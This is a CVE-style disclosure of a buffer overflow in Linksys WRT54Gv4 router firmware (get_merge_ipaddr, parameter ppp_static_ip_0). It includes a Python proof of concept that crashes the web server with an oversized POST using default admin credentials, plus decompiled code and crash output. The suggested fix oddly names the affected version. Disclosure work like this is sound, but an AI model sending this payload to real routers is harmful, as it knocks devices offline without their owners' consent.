CVE Report - Buffer Overflow Vulnerability in FW_WRT54Gv4_4.21.5.000_20120220 Routers

Vulnerability Title

Buffer Overflow Vulnerability in FW_WRT54Gv4_4.21.5.000_20120220 Router.

Vulnerability Description

Linksys FW_WRT54Gv4 devices have a Buffer Overflow vulnerability in the get_merge_ipaddr function,which allows remote attackers to cause web server crash via parameter ppp_static_ip_0 passed to the binary through a POST request.

POC

```
import requests

url = f"http://{ip}/apply.cgi"

headers = {
    "Host": ip,
    "Content-Length": "146",
    "Cache-Control": "max-age=0",
    "Authorization": "Basic YWRtaW46YWRtaW4=",
    "Accept-Language": "zh-CN",
    "Upgrade-Insecure-Requests": "1",
    "Origin": f"http://{ip}",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
Safari/537.36",
    "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive"
```

```
}

data = {
    "action":"Apply",
    "ppp_static_ip_0": "a"*1000,
    "ppp_static_ip":'1'
}

response = requests.post(url, headers=headers, data=data)

print("Status Code:", response.status_code)
print("Response Content:", response.text)
```

Cause Analysis

The get_cgi function accepts external data. The user affects cgi by setting the ppp_static_ip_0 value. After strcat splicing, it enters a2 cause crash.

```
int __fastcall get_merge_ipaddr(const char *a1, _BYTE *a2)
{
  int i; // $s0
  const char *cgi; // $a1
  int result; // $v0
  _BYTE v8[32]; // [sp+20h] [-30h] BYREF

  *a2 = 0;
  for ( i = 0; i < 4; ++i )
  {
    snprintf(v8, 30, "%s %d", a1, i);
    cgi = (const char *)get_cgi(v8);
    if ( !cgi )
      cgi = "0";
    strcat(a2, cgi);
```

Attack effect

```
# /usr/sbin/httpd
#
Barry StartContinueTx,value=(null)

Barry StopContinueTx,value=(null)

Barry WL_atten_bb,value=(null)

Barry WL_tssi_enable,value=(null)

Barry ChangeANT,value=(null)

Barry StartEPI,value=(null)
#
```

Suggested Fix

It is recommended to update to the version FW_WRT54Gv4_4.21.5 of router to fix this vulnerability.